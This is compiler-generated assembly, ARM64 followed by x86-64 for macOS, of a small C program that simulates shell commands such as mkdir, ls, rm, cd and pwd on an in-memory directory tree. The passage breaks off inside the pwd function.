LBB23_3: ; in Loop: Header=BB23_1 Depth=1
ldur x8, [x29, #-32]
str x8, [sp, #32] ; 8-byte Folded Spill
ldur x0, [x29, #-32]
bl _strlen
ldr x8, [sp, #32] ; 8-byte Folded Reload
add x8, x8, x0
subs x8, x8, #2
strb wzr, [x8]
b LBB23_4
LBB23_4: ; in Loop: Header=BB23_1 Depth=1
ldur x8, [x29, #-32]
str x8, [sp, #24] ; 8-byte Folded Spill
ldur x0, [x29, #-32]
bl _strlen
ldr x8, [sp, #24] ; 8-byte Folded Reload
add x8, x8, x0
ldursb w8, [x8, #-1]
subs w8, w8, #10
cset w8, ne
tbnz w8, #0, LBB23_6
b LBB23_5
LBB23_5: ; in Loop: Header=BB23_1 Depth=1
ldur x8, [x29, #-32]
str x8, [sp, #16] ; 8-byte Folded Spill
ldur x0, [x29, #-32]
bl _strlen
ldr x8, [sp, #16] ; 8-byte Folded Reload
add x8, x8, x0
subs x8, x8, #1
strb wzr, [x8]
b LBB23_6
LBB23_6: ; in Loop: Header=BB23_1 Depth=1
mov x0, #100
bl _malloc
stur x0, [x29, #-40]
b LBB23_7
LBB23_7: ; Parent Loop BB23_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur x8, [x29, #-32]
ldursw x9, [x29, #-20]
ldrsb w8, [x8, x9]
subs w8, w8, #32
cset w8, eq
mov w9, #0
str w9, [sp, #12] ; 4-byte Folded Spill
tbnz w8, #0, LBB23_10
b LBB23_8
LBB23_8: ; in Loop: Header=BB23_7 Depth=2
ldur x8, [x29, #-32]
ldursw x9, [x29, #-20]
ldrsb w8, [x8, x9]
subs w8, w8, #10
cset w8, eq
mov w9, #0
str w9, [sp, #12] ; 4-byte Folded Spill
tbnz w8, #0, LBB23_10
b LBB23_9
LBB23_9: ; in Loop: Header=BB23_7 Depth=2
ldur x8, [x29, #-32]
ldursw x9, [x29, #-20]
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, ne
str w8, [sp, #12] ; 4-byte Folded Spill
b LBB23_10
LBB23_10: ; in Loop: Header=BB23_7 Depth=2
ldr w8, [sp, #12] ; 4-byte Folded Reload
tbz w8, #0, LBB23_12
b LBB23_11
LBB23_11: ; in Loop: Header=BB23_7 Depth=2
ldur x8, [x29, #-32]
ldursw x9, [x29, #-20]
add x8, x8, x9
ldrb w8, [x8]
ldur x9, [x29, #-40]
ldursw x10, [x29, #-20]
add x9, x9, x10
strb w8, [x9]
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB23_7
LBB23_12: ; in Loop: Header=BB23_1 Depth=1
ldur x8, [x29, #-40]
ldursw x9, [x29, #-20]
add x8, x8, x9
strb wzr, [x8]
b LBB23_13
LBB23_13: ; Parent Loop BB23_1 Depth=1
; => This Inner Loop Header: Depth=2
ldur x8, [x29, #-32]
ldursw x9, [x29, #-20]
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB23_17
b LBB23_14
LBB23_14: ; in Loop: Header=BB23_13 Depth=2
ldur x8, [x29, #-32]
ldursw x9, [x29, #-20]
ldrsb w8, [x8, x9]
subs w8, w8, #32
cset w8, ne
tbnz w8, #0, LBB23_16
b LBB23_15
LBB23_15: ; in Loop: Header=BB23_13 Depth=2
ldur w8, [x29, #-24]
add w8, w8, #1
stur w8, [x29, #-24]
b LBB23_16
LBB23_16: ; in Loop: Header=BB23_13 Depth=2
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB23_13
LBB23_17: ; in Loop: Header=BB23_1 Depth=1
ldur x1, [x29, #-32]
ldur x2, [x29, #-40]
ldur w3, [x29, #-24]
sub x0, x29, #16
bl _apelare
ldur x0, [x29, #-40]
bl _free
b LBB23_18
LBB23_18: ; in Loop: Header=BB23_1 Depth=1
ldur x0, [x29, #-32]
adrp x1, l_.str.13@PAGE
add x1, x1, l_.str.13@PAGEOFF
mov x2, #4
bl _strncmp
subs w8, w0, #0
cset w8, ne
tbnz w8, #0, LBB23_1
b LBB23_19
LBB23_19:
ldur x0, [x29, #-32]
bl _free
mov w0, #0
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
add sp, sp, #112
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "File already exists\n"
l_.str.1: ; @.str.1
.asciz "Directory already exists\n"
l_.str.2: ; @.str.2
.asciz "%s\n"
l_.str.3: ; @.str.3
.asciz "Could not find the file\n"
l_.str.4: ; @.str.4
.asciz "Could not find the dir\n"
l_.str.5: ; @.str.5
.asciz ".."
l_.str.6: ; @.str.6
.asciz "No directories found!"
l_.str.7: ; @.str.7
.space 1
l_.str.8: ; @.str.8
.asciz "/"
l_.str.9: ; @.str.9
.asciz " "
l_.str.10: ; @.str.10
.asciz "File/Director already exists\n"
l_.str.11: ; @.str.11
.asciz "File/Director not found\n"
l_.str.12: ; @.str.12
.asciz "ls"
l_.str.13: ; @.str.13
.asciz "stop"
l_.str.14: ; @.str.14
.asciz "pwd"
l_.str.15: ; @.str.15
.asciz "tree"
l_.str.16: ; @.str.16
.asciz "touch"
l_.str.17: ; @.str.17
.asciz "mkdir"
l_.str.18: ; @.str.18
.asciz "rm"
l_.str.19: ; @.str.19
.asciz "rmdir"
l_.str.20: ; @.str.20
.asciz "cd"
l_.str.21: ; @.str.21
.asciz "mv"
l_.str.22: ; @.str.22
.asciz "home"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _init_dir ## -- Begin function init_dir
.p2align 4, 0x90
_init_dir: ## @init_dir
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movl $40, %edi
callq _malloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
movq -16(%rbp), %rdi
callq _strlen
movq %rax, %rdi
addq $1, %rdi
callq _malloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, (%rax)
movq -8(%rbp), %rax
movq (%rax), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
movq $-1, %rdx
callq ___strcpy_chk
movq -24(%rbp), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, 8(%rax)
movq -8(%rbp), %rax
movq (%rax), %rax
movq $0, 24(%rax)
movq -8(%rbp), %rax
movq (%rax), %rax
movq $0, 16(%rax)
movq -8(%rbp), %rax
movq (%rax), %rax
movq $0, 32(%rax)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _init_file ## -- Begin function init_file
.p2align 4, 0x90
_init_file: ## @init_file
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq %rdx, -24(%rbp)
movl $24, %edi
callq _malloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
movq -8(%rbp), %rax
movq (%rax), %rax
movq $0, 16(%rax)
movq -16(%rbp), %rdi
callq _strlen
movq %rax, %rdi
addq $1, %rdi
callq _malloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, (%rax)
movq -8(%rbp), %rax
movq (%rax), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
movq $-1, %rdx
callq ___strcpy_chk
movq -24(%rbp), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, 8(%rax)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _free_director ## -- Begin function free_director
.p2align 4, 0x90
_free_director: ## @free_director
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rax
movq (%rax), %rdi
callq _free
LBB2_1: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
movq (%rax), %rax
cmpq $0, 16(%rax)
je LBB2_3
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -8(%rbp), %rax
movq (%rax), %rax
movq 16(%rax), %rax
movq %rax, -24(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rax
movq 16(%rax), %rax
movq 16(%rax), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, 16(%rax)
movq -24(%rbp), %rax
movq (%rax), %rdi
callq _free
movq -24(%rbp), %rdi
callq _free
jmp LBB2_1
LBB2_3:
jmp LBB2_4
LBB2_4: ## =>This Inner Loop Header: Depth=1
movq -8(%rbp), %rax
movq (%rax), %rax
cmpq $0, 24(%rax)
je LBB2_6
## %bb.5: ## in Loop: Header=BB2_4 Depth=1
movq -8(%rbp), %rax
movq (%rax), %rax
movq 24(%rax), %rax
movq %rax, -16(%rbp)
movq -8(%rbp), %rax
movq (%rax), %rax
movq 24(%rax), %rax
movq 32(%rax), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, 24(%rax)
leaq -16(%rbp), %rdi
callq _free_director
movq -16(%rbp), %rdi
callq _free
jmp LBB2_4
LBB2_6:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _add_file_in_dir ## -- Begin function add_file_in_dir
.p2align 4, 0x90
_add_file_in_dir: ## @add_file_in_dir
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
cmpq $0, (%rax)
je LBB3_2
## %bb.1:
movq -16(%rbp), %rax
cmpq $0, (%rax)
jne LBB3_3
LBB3_2:
jmp LBB3_9
LBB3_3:
movq -8(%rbp), %rax
movq (%rax), %rax
cmpq $0, 16(%rax)
jne LBB3_5
## %bb.4:
movq -16(%rbp), %rax
movq (%rax), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, 16(%rax)
jmp LBB3_9
LBB3_5:
movq -8(%rbp), %rax
movq (%rax), %rax
movq 16(%rax), %rax
movq %rax, -24(%rbp)
LBB3_6: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
cmpq $0, 16(%rax)
je LBB3_8
## %bb.7: ## in Loop: Header=BB3_6 Depth=1
movq -24(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB3_6
LBB3_8:
movq -16(%rbp), %rax
movq (%rax), %rcx
movq -24(%rbp), %rax
movq %rcx, 16(%rax)
LBB3_9:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _add_dir_in_dir ## -- Begin function add_dir_in_dir
.p2align 4, 0x90
_add_dir_in_dir: ## @add_dir_in_dir
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
cmpq $0, (%rax)
je LBB4_2
## %bb.1:
movq -16(%rbp), %rax
cmpq $0, (%rax)
jne LBB4_3
LBB4_2:
jmp LBB4_9
LBB4_3:
movq -8(%rbp), %rax
movq (%rax), %rax
cmpq $0, 24(%rax)
jne LBB4_5
## %bb.4:
movq -16(%rbp), %rax
movq (%rax), %rcx
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rcx, 24(%rax)
jmp LBB4_9
LBB4_5:
movq -8(%rbp), %rax
movq (%rax), %rax
movq 24(%rax), %rax
movq %rax, -24(%rbp)
LBB4_6: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
cmpq $0, 32(%rax)
je LBB4_8
## %bb.7: ## in Loop: Header=BB4_6 Depth=1
movq -24(%rbp), %rax
movq 32(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB4_6
LBB4_8:
movq -16(%rbp), %rax
movq (%rax), %rcx
movq -24(%rbp), %rax
movq %rcx, 32(%rax)
LBB4_9:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _touch ## -- Begin function touch
.p2align 4, 0x90
_touch: ## @touch
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -24(%rbp)
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -32(%rbp)
movl $1, -36(%rbp)
LBB5_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -24(%rbp)
je LBB5_5
## %bb.2: ## in Loop: Header=BB5_1 Depth=1
movq -24(%rbp), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB5_4
## %bb.3: ## in Loop: Header=BB5_1 Depth=1
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -36(%rbp)
LBB5_4: ## in Loop: Header=BB5_1 Depth=1
movq -24(%rbp), %rax
movq 32(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB5_1
LBB5_5:
jmp LBB5_6
LBB5_6: ## =>This Inner Loop Header: Depth=1
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq $0, -32(%rbp)
movb %al, -49(%rbp) ## 1-byte Spill
je LBB5_8
## %bb.7: ## in Loop: Header=BB5_6 Depth=1
cmpl $1, -36(%rbp)
sete %al
movb %al, -49(%rbp) ## 1-byte Spill
LBB5_8: ## in Loop: Header=BB5_6 Depth=1
movb -49(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB5_9
jmp LBB5_12
LBB5_9: ## in Loop: Header=BB5_6 Depth=1
movq -32(%rbp), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB5_11
## %bb.10: ## in Loop: Header=BB5_6 Depth=1
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -36(%rbp)
LBB5_11: ## in Loop: Header=BB5_6 Depth=1
movq -32(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -32(%rbp)
jmp LBB5_6
LBB5_12:
cmpl $1, -36(%rbp)
jne LBB5_14
## %bb.13:
movq -16(%rbp), %rsi
movq -8(%rbp), %rdx
leaq -48(%rbp), %rdi
callq _init_file
leaq -8(%rbp), %rdi
leaq -48(%rbp), %rsi
callq _add_file_in_dir
LBB5_14:
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _mkdir ## -- Begin function mkdir
.p2align 4, 0x90
_mkdir: ## @mkdir
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -24(%rbp)
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -32(%rbp)
movl $1, -36(%rbp)
LBB6_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -32(%rbp)
je LBB6_5
## %bb.2: ## in Loop: Header=BB6_1 Depth=1
movq -32(%rbp), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB6_4
## %bb.3: ## in Loop: Header=BB6_1 Depth=1
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -36(%rbp)
LBB6_4: ## in Loop: Header=BB6_1 Depth=1
movq -32(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -32(%rbp)
jmp LBB6_1
LBB6_5:
jmp LBB6_6
LBB6_6: ## =>This Inner Loop Header: Depth=1
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpq $0, -24(%rbp)
movb %al, -49(%rbp) ## 1-byte Spill
je LBB6_8
## %bb.7: ## in Loop: Header=BB6_6 Depth=1
cmpl $1, -36(%rbp)
sete %al
movb %al, -49(%rbp) ## 1-byte Spill
LBB6_8: ## in Loop: Header=BB6_6 Depth=1
movb -49(%rbp), %al ## 1-byte Reload
testb $1, %al
jne LBB6_9
jmp LBB6_12
LBB6_9: ## in Loop: Header=BB6_6 Depth=1
movq -24(%rbp), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB6_11
## %bb.10: ## in Loop: Header=BB6_6 Depth=1
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -36(%rbp)
LBB6_11: ## in Loop: Header=BB6_6 Depth=1
movq -24(%rbp), %rax
movq 32(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB6_6
LBB6_12:
cmpl $1, -36(%rbp)
jne LBB6_14
## %bb.13:
movq -16(%rbp), %rsi
movq -8(%rbp), %rdx
leaq -48(%rbp), %rdi
callq _init_dir
leaq -8(%rbp), %rdi
leaq -48(%rbp), %rsi
callq _add_dir_in_dir
LBB6_14:
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _ls ## -- Begin function ls
.p2align 4, 0x90
_ls: ## @ls
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -16(%rbp)
LBB7_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -16(%rbp)
je LBB7_3
## %bb.2: ## in Loop: Header=BB7_1 Depth=1
movq -16(%rbp), %rax
movq (%rax), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -16(%rbp), %rax
movq 32(%rax), %rax
movq %rax, -16(%rbp)
jmp LBB7_1
LBB7_3:
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -24(%rbp)
LBB7_4: ## =>This Inner Loop Header: Depth=1
cmpq $0, -24(%rbp)
je LBB7_6
## %bb.5: ## in Loop: Header=BB7_4 Depth=1
movq -24(%rbp), %rax
movq (%rax), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movq -24(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB7_4
LBB7_6:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _rm ## -- Begin function rm
.p2align 4, 0x90
_rm: ## @rm
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -24(%rbp)
movl $0, -28(%rbp)
cmpq $0, -24(%rbp)
jne LBB8_2
## %bb.1:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB8_14
LBB8_2:
movq -24(%rbp), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB8_4
## %bb.3:
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq 16(%rax), %rcx
movq -8(%rbp), %rax
movq %rcx, 16(%rax)
movq -24(%rbp), %rax
movq (%rax), %rdi
callq _free
movq -24(%rbp), %rdi
callq _free
jmp LBB8_14
LBB8_4:
jmp LBB8_5
LBB8_5: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
cmpq $0, 16(%rax)
je LBB8_12
## %bb.6: ## in Loop: Header=BB8_5 Depth=1
movq -24(%rbp), %rax
movq 16(%rax), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB8_11
## %bb.7: ## in Loop: Header=BB8_5 Depth=1
movl $1, -28(%rbp)
movq -24(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -40(%rbp)
movq -24(%rbp), %rax
movq 16(%rax), %rax
cmpq $0, 16(%rax)
je LBB8_9
## %bb.8: ## in Loop: Header=BB8_5 Depth=1
movq -24(%rbp), %rax
movq 16(%rax), %rax
movq 16(%rax), %rcx
movq -24(%rbp), %rax
movq %rcx, 16(%rax)
movq -40(%rbp), %rax
movq (%rax), %rdi
callq _free
movq -40(%rbp), %rdi
callq _free
jmp LBB8_10
LBB8_9:
movq -24(%rbp), %rax
movq 16(%rax), %rax
movq (%rax), %rdi
callq _free
movq -24(%rbp), %rax
movq 16(%rax), %rdi
callq _free
movq -24(%rbp), %rax
movq $0, 16(%rax)
jmp LBB8_12
LBB8_10: ## in Loop: Header=BB8_5 Depth=1
jmp LBB8_11
LBB8_11: ## in Loop: Header=BB8_5 Depth=1
movq -24(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB8_5
LBB8_12:
cmpl $0, -28(%rbp)
jne LBB8_14
## %bb.13:
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
LBB8_14:
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _rm_dir_files ## -- Begin function rm_dir_files
.p2align 4, 0x90
_rm_dir_files: ## @rm_dir_files
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -16(%rbp)
LBB9_1: ## =>This Inner Loop Header: Depth=1
cmpq $0, -16(%rbp)
je LBB9_3
## %bb.2: ## in Loop: Header=BB9_1 Depth=1
movq -8(%rbp), %rdi
movq -16(%rbp), %rax
movq (%rax), %rsi
callq _rm
movq -8(%rbp), %rax
movq 16(%rax), %rax
movq %rax, -16(%rbp)
jmp LBB9_1
LBB9_3:
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -24(%rbp)
LBB9_4: ## =>This Inner Loop Header: Depth=1
cmpq $0, -24(%rbp)
je LBB9_6
## %bb.5: ## in Loop: Header=BB9_4 Depth=1
movq -8(%rbp), %rdi
movq -24(%rbp), %rax
movq (%rax), %rsi
callq _rmdir
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB9_4
LBB9_6:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _rmdir ## -- Begin function rmdir
.p2align 4, 0x90
_rmdir: ## @rmdir
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq %rax, -24(%rbp)
movl $0, -28(%rbp)
cmpq $0, -24(%rbp)
jne LBB10_2
## %bb.1:
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB10_14
LBB10_2:
movq -24(%rbp), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB10_4
## %bb.3:
movq -8(%rbp), %rax
movq 24(%rax), %rax
movq 32(%rax), %rcx
movq -8(%rbp), %rax
movq %rcx, 24(%rax)
movq -24(%rbp), %rdi
callq _rm_dir_files
movq -24(%rbp), %rax
movq (%rax), %rdi
callq _free
movq -24(%rbp), %rdi
callq _free
jmp LBB10_14
LBB10_4:
jmp LBB10_5
LBB10_5: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
cmpq $0, 32(%rax)
je LBB10_12
## %bb.6: ## in Loop: Header=BB10_5 Depth=1
movq -24(%rbp), %rax
movq 32(%rax), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB10_11
## %bb.7: ## in Loop: Header=BB10_5 Depth=1
movl $1, -28(%rbp)
movq -24(%rbp), %rax
movq 32(%rax), %rax
movq %rax, -40(%rbp)
movq -24(%rbp), %rax
movq 32(%rax), %rax
cmpq $0, 32(%rax)
je LBB10_9
## %bb.8: ## in Loop: Header=BB10_5 Depth=1
movq -24(%rbp), %rax
movq 32(%rax), %rax
movq 32(%rax), %rcx
movq -24(%rbp), %rax
movq %rcx, 32(%rax)
movq -40(%rbp), %rax
movq (%rax), %rdi
callq _free
movq -40(%rbp), %rdi
callq _free
jmp LBB10_10
LBB10_9:
movq -24(%rbp), %rax
movq 32(%rax), %rax
movq (%rax), %rdi
callq _free
movq -24(%rbp), %rax
movq 32(%rax), %rdi
callq _rm_dir_files
movq -24(%rbp), %rax
movq 32(%rax), %rdi
callq _free
movq -24(%rbp), %rax
movq $0, 32(%rax)
jmp LBB10_12
LBB10_10: ## in Loop: Header=BB10_5 Depth=1
jmp LBB10_11
LBB10_11: ## in Loop: Header=BB10_5 Depth=1
movq -24(%rbp), %rax
movq 32(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB10_5
LBB10_12:
cmpl $0, -28(%rbp)
jne LBB10_14
## %bb.13:
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
LBB10_14:
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _cd ## -- Begin function cd
.p2align 4, 0x90
_cd: ## @cd
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movq %rsi, -16(%rbp)
movl $0, -20(%rbp)
movq -16(%rbp), %rdi
leaq L_.str.5(%rip), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB11_4
## %bb.1:
movq -8(%rbp), %rax
movq (%rax), %rax
cmpq $0, 8(%rax)
je LBB11_3
## %bb.2:
movq -8(%rbp), %rax
movq (%rax), %rax
movq 8(%rax), %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
LBB11_3:
jmp LBB11_11
LBB11_4:
movq -8(%rbp), %rax
movq (%rax), %rax
movq 24(%rax), %rax
movq %rax, -32(%rbp)
LBB11_5: ## =>This Inner Loop Header: Depth=1
cmpq $0, -32(%rbp)
je LBB11_9
## %bb.6: ## in Loop: Header=BB11_5 Depth=1
movq -32(%rbp), %rax
movq (%rax), %rdi
movq -16(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB11_8
## %bb.7: ## in Loop: Header=BB11_5 Depth=1
movq -32(%rbp), %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
movl $1, -20(%rbp)
LBB11_8: ## in Loop: Header=BB11_5 Depth=1
movq -32(%rbp), %rax
movq 32(%rax), %rax
movq %rax, -32(%rbp)
jmp LBB11_5
LBB11_9:
cmpl $0, -20(%rbp)
jne LBB11_11
## %bb.10:
leaq L_.str.2(%rip), %rdi
leaq L_.str.6(%rip), %rsi
movb $0, %al
callq _printf
LBB11_11:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _pwd ## -- Begin function pwd
.p2align 4, 0x90
_pwd: ## @pwd
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movq %rdi, -8(%rbp)
movl $800, %edi ## imm = 0x320
callq _malloc
movq %rax, -16(%rbp)
movl $800, %edi ## imm = 0x320
callq _malloc
movq %rax, -24(%rbp)
movl $0, -32(%rbp)
movl $0, -28(%rbp)
LBB12_1: ## =>This Inner Loop Header: Depth=1
cmpl $100, -28(%rbp)
jge LBB12_4
## %bb.2: ## in Loop: Header=BB12_1 Depth=1
jmp LBB12_3
LBB12_3: ## in Loop: Header=BB12_1 Depth=1
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB12_1
LBB12_4:
movq -8(%rbp), %rax
movq %rax, -40(%rbp)
LBB12_5: ## =>This Inner Loop Header: Depth=1
cmpq $0, -40(%rbp)
je LBB12_7
## %bb.6: ## in Loop: Header=BB12_5 Depth=1
movl $100, %edi
callq _malloc
movq %rax, %rdx
movq -24(%rbp), %rax
movslq -32(%rbp), %rcx
movq %rdx, (%rax,%rcx,8)
movq -24(%rbp), %rax
movslq -32(%rbp), %rcx
movq (%rax,%rcx,8), %rdi
movq -40(%rbp), %rax
movq (%rax), %rsi
movq $-1, %rdx
callq ___strcpy_chk
movl -32(%rbp), %eax
addl $1, %eax
movl %eax, -32(%rbp)
movq -40(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -40(%rbp)
jmp LBB12_5
LBB12_7:
movq -16(%rbp), %rdi
leaq L_.str.7(%rip), %rsi
movq $-1, %rdx
callq ___strcpy_chk
movl -32(%rbp), %eax
movl %eax, -28(%rbp)
LBB12_8: ## =>This Inner Loop Header: Depth=1
cmpl $0, -28(%rbp)
je LBB12_10
## %bb.9: ## in Loop: Header=BB12_8 Depth=1
movq -16(%rbp), %rdi
leaq L_.str.8(%rip), %rsi
movq $-1, %rdx
callq ___strcat_chk
movq -16(%rbp), %rdi
movq -24(%rbp), %rax
movslq -28(%rbp), %rcx
movq -8(%rax,%rcx,8), %rsi
movq $-1, %rdx
callq ___strcat_chk
